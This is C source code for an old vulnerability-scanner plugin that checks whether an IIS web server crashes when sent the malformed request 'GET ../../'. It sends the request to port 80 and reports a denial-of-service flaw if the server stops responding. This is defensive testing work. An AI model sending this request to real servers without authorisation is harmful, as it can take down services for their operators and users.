/*
 * 
 * iis_crash
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
#define NAME "IIS 'GET ../.. '"
#define DESC "\
It is possible to crash IIS by sending it the request\n\
'GET ../..'\n\
Risk factor : medium/high"
#define COPYRIGHT "No copyright"
#define SUMM "performs a denial of service against IIS"

PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{	
	if(host_get_port_state(args, 80)>0)
	{
	 char * buf = emalloc(20);
	 int soc;
	 sprintf(buf, "GET ../../\n");
	 if((soc = open_sock_tcp(args, 80))>0)
	 {
	  send(soc, buf, strlen(buf), 0);
	  close(soc);
	  if((soc = open_sock_tcp(args, 80))<0)
		post_hole(args, 80, 
"We could perform a denial of service against the remote\n\
web server by sending it the request 'GET ../..'\n\
Solution : upgrade");
	 else socket_close(soc);
	 }
	 efree(&buf);
	}
	return(0);
}

